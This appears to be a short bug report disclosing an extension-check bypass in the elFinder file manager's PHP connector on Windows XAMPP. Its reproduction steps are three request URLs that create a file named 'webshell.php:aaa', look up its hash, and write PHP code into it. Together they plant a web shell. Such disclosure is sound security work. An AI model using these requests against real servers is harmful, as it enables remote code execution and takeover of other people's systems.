Describe the bug

bypass ext check

Steps to reproduce the behavior:

1. create a .php file using the following URL:
   http://127.0.0.1/elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=webshell.php:aaa
   2.Hash file :
   http://127.0.0.1/2/elFinder/php/connector.minimal.php?cmd=open&target=l1_
   3.Add PHP code in webshell.php
   http://127.0.0.1/2/elFinder/php/connector.minimal.php?cmd=put&content=jpeg<?php echo $_GET["infosec_90"]&target=HashFile

p (please complete the following information):**

• OS: Windows XAMPP